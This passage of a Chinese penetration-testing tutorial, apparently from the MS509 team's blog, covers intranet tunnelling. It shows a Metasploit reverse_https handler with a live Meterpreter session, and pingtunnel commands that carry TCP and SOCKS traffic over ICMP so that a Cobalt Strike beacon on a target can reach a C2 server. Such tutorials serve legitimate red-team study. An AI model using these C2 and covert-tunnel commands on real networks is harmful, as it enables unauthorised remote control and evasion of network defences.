22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 645.844px;"><span style="height: 1.3em;font-size: 13px;">msf5 &gt; use exploit/multi/handler</span><br/><span style="height: 1.3em;font-size: 13px;">msf5 exploit(multi/handler) &gt; set payload windows/meterpreter/reverse_https</span><br/><span style="height: 1.3em;font-size: 13px;">payload =&gt; windows/meterpreter/reverse_https</span><br/><span style="height: 1.3em;font-size: 13px;">msf5 exploit(multi/handler) &gt; set lhost 0.0.0.0</span><br/><span style="height: 1.3em;font-size: 13px;">lhost =&gt; 0.0.0.0</span><br/><span style="height: 1.3em;font-size: 13px;">msf5 exploit(multi/handler) &gt; set lport 8443</span><br/><span style="height: 1.3em;font-size: 13px;">lport =&gt; 8443</span><br/><span style="height: 1.3em;font-size: 13px;">msf5 exploit(multi/handler) &gt; run</span><br/><span style="height: 1.3em;font-size: 13px;"></span><br/><span style="height: 1.3em;font-size: 13px;">[*] Started HTTPS reverse handler on <a href="https://0.0.0.0:8443" target="_blank">https://0.0.0.0:8443</a></span><br/><span style="height: 1.3em;font-size: 13px;"></span><br/><span style="height: 1.3em;font-size: 13px;">meterpreter &gt; getuid</span><br/><span style="height: 1.3em;font-size: 13px;">Server username: DESKTOP-test0\admin</span><br/></pre></td></tr></tbody></table></figure><h4 style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">0x3.2.3 icmp隧道转发tcp上线cobaltstrike</h4><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">1.准备好一个具有公网ip的服务器，root权限运行以下命令，启动ICMP隧道服务端</p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;padding-top: 15px;overflow: hidden;font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;">./pingtunnel -type server -noprint 1 -nolog 1</span><br/></pre></td></tr></tbody></table></figure><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">2.ICMP隧道客户端（即需要通过ICMP隧道上线的主机）执行以下命令即可成功创建反向ICMP隧道</p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;padding-top: 15px;overflow: hidden;font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;">pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1</span><br/><span style="height: 1.3em;font-size: 13px;"># 该命令的意思是icmp隧道客户端监听127.0.0.1:9999，通过连接到icmpserver_ip的icmp隧道，将127.0.0.1:9999收到的tcp数据包转发到c2_server_ip:7777</span><br/></pre></td></tr></tbody></table></figure><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">3.cobaltstrike创建listener</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><span class="js_jump_icon h5_image_link" data-positionback="static" style="top: auto;left: auto;margin: 0px 289px;right: auto;bottom: auto;"></span></p><p><img data-ratio="1.121475054229935" style="border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;margin: 0px;" data-type="png" data-w="461" src="https://wechat2rss.xlab.app/img-proxy/?k=12aa31f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2KJ5nD02NOEpRa8ia8ZZ9f1NhQf5NTej5HQBEa79uSzNeKwvQHG1YmaLtH5zwiahXHuFCxQiaP3aTbw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;padding-top: 15px;overflow: hidden;font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;"># https host和https port(c2)为icmp隧道客户端的监听ip和端口</span><br/><span style="height: 1.3em;font-size: 13px;"># https port(bind)为转发目的地址的端口</span><br/></pre></td></tr></tbody></table></figure><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">4.生成反向payload的beacon</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><span class="js_jump_icon h5_image_link" data-positionback="static" style="top: auto;left: auto;margin: 0px 289px;right: auto;bottom: auto;"></span></p><p><img data-ratio="0.631578947368421" style="border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;margin: 0px;" data-type="png" data-w="361" src="https://wechat2rss.xlab.app/img-proxy/?k=c8a96636&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2KJ5nD02NOEpRa8ia8ZZ9f1Q7g2icGIhtLbjcIA7DkoKfkCzc1J8V8Yg4MncxAo8Y2I0IMtjxN17rg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"/><span style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;background-color: rgb(255, 255, 255);">5.上传生成的beacon到ICMP隧道客户端执行，成功通过反向ICMP隧道上线</span></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><span class="js_jump_icon h5_image_link" data-positionback="static" style="top: auto;left: auto;margin: 0px 289px;right: auto;bottom: auto;"></span></p><p><img data-ratio="0.31785714285714284" style="border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;margin: 0px;" data-type="png" data-w="1680" src="https://wechat2rss.xlab.app/img-proxy/?k=10c27e68&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2KJ5nD02NOEpRa8ia8ZZ9f1luPsNFkibQ4AF42JQl42RMd0q0bpD01NweJPezYmpnxicLh2zqHKb7OA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><h4 style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">0x3.2.4 icmp隧道转发socks上线cobaltstrike</h4><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">1.准备好一个具有公网ip的服务器，root权限运行以下命令，启动ICMP隧道服务端</p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;padding-top: 15px;overflow: hidden;font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;">./pingtunnel -type server -noprint 1 -nolog 1</span><br/></pre></td></tr></tbody></table></figure><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">2.ICMP隧道客户端（即需要通过ICMP隧道上线的主机）执行以下命令即可成功创建反向ICMP隧道</p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;padding-top: 15px;overflow: hidden;font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;">pingtunnel.exe -type client -l 127.0.0.1:6688 -s icmpserver_ip -sock5 1 -nolog 1 -noprint 1</span><br/><span style="height: 1.3em;font-size: 13px;"># 该命令的意思是icmp隧道客户端监听127.0.0.1:6688启动socks5服务，通过连接到icmpserver_ip的icmp隧道，由icmpserver转发socks5代理请求到目的地址</span><br/></pre></td></tr></tbody></table></figure><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">3.cobaltstrike创建listener</p><p><br/></p><p><img data-ratio="1.121475054229935" style="border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;margin: 0px;width: 461px;height: auto;" data-type="png" data-w="461" src="https://wechat2rss.xlab.app/img-proxy/?k=233ba34d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2KJ5nD02NOEpRa8ia8ZZ9f1zeFLwKtm5bbZsEiaiaseCdmgtnr3tWicl0KvLdMOsHtXomgZhbJh9Zl8Q%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;padding-top: 15px;overflow: hidden;font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;"># 这里的代理可以是socks或者http</span><br/><span style="height: 1.3em;font-size: 13px;"># 好像cobaltstrike不支持socks5代理，这里并不能成功上线</span><br/><span style="height: 1.3em;font-size: 13px;"># 这里也可以使用http代理，不过需要工具将http代理转为socks5代理，比如privoxy</span><br/></pre></td></tr></tbody></table></figure><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">4.选择创建的listener生成beacon上传到目标执行即可上线</p><h2 style="margin-top: 1.4em;margin-bottom: 1.1em;border-bottom: 1px solid rgb(238, 238, 238);overflow: hidden;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);">0x4 总结</h2><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"><span style="font-weight: bolder;">内网渗透中内网穿透的本质，无非是通过各种通信信道，无论是正向的还是反向的，实现传输层协议tcp/udp数据包的转发，应用层协议都是基于传输层的协议实现的。</span>比如<code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">ABPTTS + SOCKS服务 = reGeorg</code></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"><span style="font-weight: bolder;">内网渗透中的内网穿透的条件，能通过某种通信信道远程代码执行。如果能通过某种通信信道远程代码执行，一定可以通过这种通信信道实现tcp/udp数据包的转发，即<code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">TCP/UDP over something</code>隧道。如果没有现成的工具，可能需要我们自己开发。</span>比如，通过sql注入获取了shell，我们也可以利用这条通信信道转发tcp/udp数据包，没有现成的工具，需要我们开发工具而已，隧道客户端将tcp/udp数据包封装写进数据库，再由隧道服务端从数据库中读出封装的数据包解包，发往对应地址即可。</p><blockquote style="margin-top: 5px;margin-bottom: 5px;padding-top: 5px;padding-right: 10px;padding-bottom: 5px;border-width: 0px;border-style: none;border-color: initial;color: rgb(51, 51, 51);line-height: 24px;font-size: 14px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;font-family: 微软雅黑;background-color: rgb(241, 241, 241);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(12, 137, 24);box-sizing: border-box !important;overflow-wrap: break-word !important;">版权声明：</span></strong></blockquote><p style="margin-top: 5px;margin-bottom: 5px;padding: 5px 10px;max-width: 100%;min-height: 1em;letter-spacing: 0.544px;white-space: normal;color: rgb(62, 62, 62);font-family: 微软雅黑;font-size: 14px;line-height: 24px;border-width: 0px;border-style: initial;border-color: initial;background-color: rgb(241, 241, 241);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(102, 102, 102);box-sizing: border-box !important;overflow-wrap: break-word !important;">本文由MS509团队成员原创，转载请注明来源</span></strong></p><section style="max-width: 100%;box-sizing: border-box;line-height: 25.6px;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin-top: 10px;margin-bottom: 10px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="padding-right: 1em;padding-left: 1em;max-width: 100%;box-sizing: border-box;display: inline-block;text-align: center;overflow-wrap: break-word !important;"><span style="padding: 0.3em 0.5em;max-width: 100%;box-sizing: border-box;display: inline-block;border-radius: 0.5em;font-size: 14.08px;color: rgb(255, 255, 255);background-color: rgb(24, 141, 42);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">MS509简介：</span></section></span> </section><section style="margin-top: -1em;padding: 20px 10px 10px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(192, 200, 209);text-align: center;background-color: rgb(239, 239, 239);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;text-align: left;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;">MS509为“中国网安”开展互联网攻防技术研究的专业团队，当前主攻方向包括WEB安全、移动安全、二进制安全等</span><strong style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;">。</strong></em></em><span style="max-width: 100%;color: rgb(255, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">更多团队动态，尽在博客www.ms509.com；微博搜索 MS509。</strong></em></em></span></section><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(255, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">加入我们：<a href="https://www.ms509.com/contact/" target="_blank">https://www.ms509.com/contact/</a></strong></em></em></span></section></section></section></section></section></section></section></section><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section style="max-width: 100%;line-height: 25.6px;border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;text-align: center;border-width: 0px;border-style: solid;border-color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;display: inline-block;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;width: 21em;border-width: 